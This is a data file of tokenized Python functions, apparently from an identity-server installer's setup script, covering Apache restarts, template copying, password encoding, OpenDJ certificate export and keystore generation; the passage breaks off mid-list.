"\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "copy", "\\u", "output_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "log", "It_", "(_", "\"", "Copy", "ing", " ", "render", "ed", " ", "template", "s", " ", "to", " ", "final", " ", "destinat", "ion", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Detect", " ", "se", "vice", " ", "path", " ", "and", " ", "apa", "che", " ", "service", " ", "name_", "\\u\\u\\uNL\\u\\u\\u_", "service", "\\u", "path_", "=_", "'/", "sb", "in", "/", "service", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "apa", "che", "\\u", "service", "\\u", "name_", "=_", "'", "http", "d", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "os", "\\u", "type_", "in_", "[_", "'", "debi", "an", "'_", ",_", "'", "ubu", "ntu", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "service", "\\u", "path_", "=_", "'/", "usr", "/", "sb", "in", "/", "service", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "apa", "che", "\\u", "service", "\\u", "name_", "=_", "'", "apa", "che", "2", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "run_", "(_", "[_", "service", "\\u", "path_", ",_", "apa", "che", "\\u", "service", "\\u", "name_", ",_", "'", "stop", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "dest", "\\u", "fn_", "in_", "self_", "._", "ce", "\\u", "templates_", "._", "keys_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "self_", "._", "ce", "\\u", "templates_", "[_", "dest", "\\u", "fn_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "fn_", "=_", "os_", "._", "path_", "._", "split_", "(_", "dest", "\\u", "fn_", ")_", "[_", "-_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "output", "\\u", "fn_", "=_", "os_", "._", "path_", "._", "join_", "(_", "self_", "._", "output", "Folder_", ",_", "fn_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "self_", "._", "log", "It_", "(_", "\"", "Copy", "ing", " ", "%", "s", " ", "to", " ", "%", "s", "\"_", "%_", "(_", "output", "\\u", "fn_", ",_", "dest", "\\u", "fn_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "dest", "\\u", "dir_", "=_", "os_", "._", "path_", "._", "dirname_", "(_", "dest", "\\u", "fn_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "os_", "._", "path_", "._", "exists_", "(_", "dest", "\\u", "dir_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "self_", "._", "log", "It_", "(_", "\"", "Creat", "ed", " ", "destinat", "ion", " ", "folder", " ", "%", "s", "\"_", "%_", "dest", "\\u", "dir_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "os_", "._", "makedirs_", "(_", "dest", "\\u", "dir_", ")_", ";_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "shutil_", "._", "copyfile_", "(_", "output", "\\u", "fn_", ",_", "dest", "\\u", "fn_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "self_", "._", "log", "It_", "(_", "\"", "Error", " ", "writ", "ing", " ", "%", "s", " ", "to", " ", "%", "s", "\"_", "%_", "(_", "output", "\\u", "fn_", ",_", "dest", "\\u", "fn_", ")_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "log", "It_", "(_", "traceback_", "._", "format\\u", "exc_", "(_", ")_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "run_", "(_", "[_", "service", "\\u", "path_", ",_", "apa", "che", "\\u", "service", "\\u", "name_", ",_", "'", "start", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Setup_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "copy", "\\u", "scripts_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "log", "It_", "(_", "\"", "Copy", "ing", " ", "script", " ", "files", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "script_", "in_", "self_", "._", "glu", "u", "Script", "Files_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "copy", "File_", "(_", "script_", ",_", "self_", "._", "glu", "u", "Opt", "Bin", "Folder_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "log", "It_", "(_", "\"", "Rendering", " ", "encode", ".", "py", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "f_", "=_", "open_", "(_", "'%", "s", "/", "encode", ".", "py", "'_", "%_", "self_", "._", "template", "Folder_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "encode", "\\u", "script_", "=_", "f_", "._", "read_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "f_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "f_", "=_", "open_", "(_", "\"%", "s", "/", "encode", ".", "py", "\"_", "%_", "self_", "._", "glu", "u", "Opt", "Bin", "Folder_", ",_", "'", "w", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "f_", "._", "write_", "(_", "encode", "\\u", "script_", "%_", "self_", "._", "\\u\\u", "dict\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "f_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "log", "It_", "(_", "\"", "Error", " ", "render", "ing", " ", "encode", " ", "script", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "log", "It_", "(_", "traceback_", "._", "format\\u", "exc_", "(_", ")_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "run_", "(_", "[_", "\"", "chm", "od", "\"_", ",_", "'-", "R", "'_", ",_", "'", "700", "'_", ",_", "self_", "._", "glu", "u", "Opt", "Bin", "Folder_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Setup_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "create", "Dirs_", "(_", "self_", ",_", "name_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "not_", "os_", "._", "path_", "._", "exists_", "(_", "name_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "os_", "._", "makedirs_", "(_", "name_", ",_", "0_", "700_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "log", "It_", "(_", "'", "Creat", "ed", " ", "dir", ":", " ", "%", "s", "'_", "%_", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "log", "It_", "(_", "\"", "Error", " ", "mak", "ing", " ", "director", "y", " ", "%", "s", "\"_", "%_", "name_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "log", "It_", "(_", "traceback_", "._", "format\\u", "exc_", "(_", ")_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Setup_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "delete", "Lda", "p", "Pw", "_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "os_", "._", "remove_", "(_", "self_", "._", "ldap", "Pass", "Fn_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "os_", "._", "remove_", "(_", "os_", "._", "path_", "._", "join_", "(_", "self_", "._", "ldap", "Base", "Folder_", ",_", "'", "opend", "j", "-", "setup", ".", "proper", "ties", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "log", "It_", "(_", "\"", "Error", " ", "delet", "ing", " ", "ldap", " ", "pw", ".", " ", "Make", " ", "sure", " ", "%", "s", " ", "is", " ", "delete", "d", "\"_", "%_", "self_", "._", "ldap", "Pass", "Fn_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "log", "It_", "(_", "traceback_", "._", "format\\u", "exc_", "(_", ")_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Setup_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "encode", "\\u", "passwords", "_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "log", "It_", "(_", "\"", "Enco", "ding", " ", "passwords", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "encode", "d\\u", "ldap", "\\u", "pw_", "=_", "self_", "._", "ldap", "\\u", "encode_", "(_", "self_", "._", "ldap", "Pass_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "cmd_", "=_", "\"%", "s", " ", "%", "s", "\"_", "%_", "(_", "self_", "._", "ox", "Encode", "PW", "Command_", ",_", "self_", "._", "shi", "b", "Jk", "s", "Pass_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "encode", "d\\u", "shi", "b", "\\u", "jk", "s", "\\u", "pw_", "=_", "os_", "._", "popen_", "(_", "cmd_", ",_", "'", "r", "'_", ")_", "._", "read_", "(_", ")_", "._", "strip_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cmd_", "=_", "\"%", "s", " ", "%", "s", "\"_", "%_", "(_", "self_", "._", "ox", "Encode", "PW", "Command_", ",_", "self_", "._", "ldap", "Pass_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "encode", "d\\u", "ox", "\\u", "ldap", "\\u", "pw_", "=_", "os_", "._", "popen_", "(_", "cmd_", ",_", "'", "r", "'_", ")_", "._", "read_", "(_", ")_", "._", "strip_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "ox", "auth", "Client", "\\u", "pw_", "=_", "self_", "._", "get", "PW", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cmd_", "=_", "\"%", "s", " ", "%", "s", "\"_", "%_", "(_", "self_", "._", "ox", "Encode", "PW", "Command_", ",_", "self_", "._", "ox", "auth", "Client", "\\u", "pw_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "ox", "auth", "Client", "\\u", "encode", "d\\u", "pw_", "=_", "os_", "._", "popen_", "(_", "cmd_", ",_", "'", "r", "'_", ")_", "._", "read_", "(_", ")_", "._", "strip_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "ox", "auth", "Client", "\\u", "2", "\\u", "pw_", "=_", "self_", "._", "get", "PW", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cmd_", "=_", "\"%", "s", " ", "%", "s", "\"_", "%_", "(_", "self_", "._", "ox", "Encode", "PW", "Command_", ",_", "self_", "._", "ox", "auth", "Client", "\\u", "2", "\\u", "pw_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "ox", "auth", "Client", "\\u", "2", "\\u", "encode", "d\\u", "pw_", "=_", "os_", "._", "popen_", "(_", "cmd_", ",_", "'", "r", "'_", ")_", "._", "read_", "(_", ")_", "._", "strip_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "ox", "auth", "Client", "\\u", "3", "\\u", "pw_", "=_", "self_", "._", "get", "PW", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cmd_", "=_", "\"%", "s", " ", "%", "s", "\"_", "%_", "(_", "self_", "._", "ox", "Encode", "PW", "Command_", ",_", "self_", "._", "ox", "auth", "Client", "\\u", "3", "\\u", "pw_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "ox", "auth", "Client", "\\u", "3", "\\u", "encode", "d\\u", "pw_", "=_", "os_", "._", "popen_", "(_", "cmd_", ",_", "'", "r", "'_", ")_", "._", "read_", "(_", ")_", "._", "strip_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "ox", "auth", "Client", "\\u", "4", "\\u", "pw_", "=_", "self_", "._", "get", "PW", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cmd_", "=_", "\"%", "s", " ", "%", "s", "\"_", "%_", "(_", "self_", "._", "ox", "Encode", "PW", "Command_", ",_", "self_", "._", "ox", "auth", "Client", "\\u", "4", "\\u", "pw_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "ox", "auth", "Client", "\\u", "4", "\\u", "encode", "d\\u", "pw_", "=_", "os_", "._", "popen_", "(_", "cmd_", ",_", "'", "r", "'_", ")_", "._", "read_", "(_", ")_", "._", "strip_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "log", "It_", "(_", "\"", "Error", " ", "encoding", " ", "passwords", "\"_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "log", "It_", "(_", "traceback_", "._", "format\\u", "exc_", "(_", ")_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Setup_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "export", "\\u", "opend", "j", "\\u", "public", "\\u", "cert_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Load", " ", "password", " ", "to", " ", "acc", "es", " ", "Open", "DJ", " ", "trust", "store_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "log", "It_", "(_", "\"", "Reading", " ", "Open", "DJ", " ", "trust", "store", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "open", "Dj", "Pin", "Fn_", "=_", "'%", "s", "/", "config", "/", "keystore", ".", "pin", "'_", "%_", "self_", "._", "ldap", "Base", "Folder_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "open", "Dj", "Trust", "store", "Fn_", "=_", "'%", "s", "/", "config", "/", "trust", "store", "'_", "%_", "self_", "._", "ldap", "Base", "Folder_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "open", "Dj", "Pin_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "f_", "=_", "open_", "(_", "open", "Dj", "Pin", "Fn_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "open", "Dj", "Pin_", "=_", "f_", "._", "read_", "(_", ")_", "._", "splitlines_", "(_", ")_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "f_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "log", "It_", "(_", "\"", "Error", " ", "red", "ing", " ", "Open", "DJ", " ", "trust", "store", "\"_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "log", "It_", "(_", "traceback_", "._", "format\\u", "exc_", "(_", ")_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Export", " ", "public", " ", "Open", "DJ", " ", "certificate_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "log", "It_", "(_", "\"", "Export", "ing", " ", "Open", "DJ", " ", "certifica", "te", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "run_", "(_", "[_", "self_", "._", "keyt", "ool", "Command_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'-", "export", "cert", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'-", "keystore", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "open", "Dj", "Trust", "store", "Fn_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'-", "store", "pass", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "open", "Dj", "Pin_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'-", "file", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "open", "Dj", "Cert", "Fn_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'-", "alias", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "server", "-", "cert", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'-", "rfc", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Import", " ", "Open", "DJ", " ", "certifica", "te", " ", "int", "o", " ", "java", " ", "trust", "store_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "log", "It_", "(_", "\"", "Import", " ", "Open", "DJ", " ", "certifica", "te", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "run_", "(_", "[_", "\"/", "usr", "/", "bin", "/", "keyt", "ool", "\"_", ",_", "\"-", "import", "\"_", ",_", "\"-", "trust", "cacert", "s", "\"_", ",_", "\"-", "alias", "\"_", ",_", "\"%", "s", "\\u", "opend", "j", "\"_", "%_", "self_", "._", "hostname_", ",_", "\"-", "file", "\"_", ",_", "self_", "._", "open", "Dj", "Cert", "Fn_", ",_", "\"-", "keystore", "\"_", ",_", "self_", "._", "default", "Trust", "Stor", "e", "FN_", ",_", "\"-", "store", "pass", "\"_", ",_", "\"", "change", "it", "\"_", ",_", "\"-", "nop", "rom", "pt", "\"_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Setup_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "generat", "e\\u", "crypto_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "log", "It_", "(_", "'", "Generat", "ing", " ", "certificates", " ", "and", " ", "keystore", "s", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "gen", "\\u", "cert_", "(_", "'", "http", "d", "'_", ",_", "self_", "._", "http", "d", "Key", "Pass_", ",_", "'", "tom", "cat", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "gen", "\\u", "cert_", "(_", "'", "shi", "b", "ID", "P", "'_", ",_", "self_", "._", "shi", "b", "Jk", "s", "Pass_", ",_", "'", "tom", "cat", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "gen", "\\u", "cert_", "(_", "'", "asi", "mba", "'_", ",_", "self_", "._", "asi", "mba", "Jk", "s", "Pass_", ",_", "'", "tom", "cat", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Shi", "bb", "ole", "th", " ", "ID", "P", " ", "and", " ", "Asi", "mba", " ", "will", " ", "be", " ", "adde", "d", " ", "soo", "n", "..._", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "gen", "\\u", "keystore", "_", "(_", "'", "shi", "b", "ID", "P", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "shi", "b", "Jk", "s", "Fn_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "shi", "b", "Jk", "s", "Pass_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'%", "s", "/", "shi", "b", "ID", "P", ".", "key", "'_", "%_", "self_", "._", "cert", "Folder_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'%", "s", "/", "shi", "b", "ID", "P", ".", "crt", "'_", "%_", "self_", "._", "cert", "Folder_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "tom", "cat", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "gen", "\\u", "keystore", "_", "(_", "'", "asi", "mba", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "asi", "mba", "Jk", "s", "Fn_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "asi", "mba", "Jk", "s", "Pass_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'%", "s", "/", "asi", "mba", ".", "key", "'_", "%_", "self_", "._", "cert", "Folder_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'%", "s", "/", "asi", "mba", ".", "crt", "'_", "%_", "self_", "._", "cert", "Folder_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "tom", "cat", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "run_", "(_", "[_", "'/", "bin", "/", "chown", "'_", ",_", "'-", "R", "'_", ",_", "'", "tom", "cat", ":", "tom", "cat", "'_", ",_", "self_", "._", "cert", "Folder_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "run_", "(_", "[_", "'/", "bin", "/", "chm", "od", "'_", ",_", "'-", "R", "'_", ",_", "'", "500", "'_", ",_", "self_", "._", "cert", "Folder_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "log", "It_", "(_", "\"", "Error", " ", "generat", "ing", " ", "cyr", "pto", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "log", "It_", "(_", "traceback_", "._", "format\\u", "exc_", "(_", ")_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Setup_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "gen", "\\u", "openid", "\\u", "keys_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "log", "It_", "(_", "\"", "Generat", "ing", " ", "ox", "Auth", " ", "Open", "ID", " ", "Connect", " ", "keys", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "copy", "File_", "(_", "\"%", "s", "/", "static", "/", "ox", "auth", "/", "lib", "/", "ox", "auth", ".", "jar", "\"_", "%_", "self_", "._", "install", "\\u", "dir_", ",_", "self_", "._", "tom", "cat", "\\u", "user", "\\u", "home", "\\u", "lib_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "copy", "File_", "(_", "\"%", "s", "/", "static", "/", "ox", "auth", "/", "lib", "/", "jet", "tis", "on", "-1", ".3", ".", "jar", "\"_", "%_", "self_", "._", "install", "\\u", "dir_", ",_", "self_", "._", "tom", "cat", "\\u", "user", "\\u", "home", "\\u", "lib_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "copy", "File_", "(_", "\"%", "s", "/", "static", "/", "ox", "auth", "/", "lib", "/", "ox", "auth", "-", "model", ".", "jar", "\"_", "%_", "self_", "._", "install", "\\u", "dir_", ",_", "self_", "._", "tom", "cat", "\\u", "user", "\\u", "home", "\\u", "lib_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "copy", "File_", "(_", "\"%", "s", "/", "static", "/", "ox", "auth", "/", "lib", "/", "bc", "prov", "-", "jdk", "16", "-1", ".4", "6", ".", "jar", "\"_", "%_", "self_", "._", "install", "\\u", "dir_", ",_", "self_", "._", "tom", "cat", "\\u", "user", "\\u", "home", "\\u", "lib_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "copy", "File_", "(_", "\"%", "s", "/", "static", "/", "ox", "auth", "/", "lib", "/", "common", "s", "-", "codec", "-1", ".5", ".", "jar", "\"_", "%_", "self_", "._", "install", "\\u", "dir_", ",_", "self_", "._", "tom", "cat", "\\u", "user", "\\u", "home", "\\u", "lib_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "copy", "File_", "(_", "\"%", "s", "/", "static", "/", "ox", "auth", "/", "lib", "/", "common", "s", "-", "lang", "-", "2.6", ".", "jar", "\"_", "%_", "self_", "._", "install", "\\u", "dir_", ",_", "self_", "._", "tom", "cat", "\\u", "user", "\\u", "home", "\\u", "lib_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "copy", "File_", "(_", "\"%", "s", "/", "static", "/", "ox", "auth", "/", "lib", "/", "log", "4j", "-1", ".2", ".1", "4", ".", "jar", "\"_", "%_", "self_", "._", "install", "\\u", "dir_", ",_", "self_", "._", "tom", "cat", "\\u", "user", "\\u", "home", "\\u", "lib_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "change", "\\u", "ownership_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "require", "d", "Jar", "s_", "=_", "[_", "'%", "s", "/", "bc", 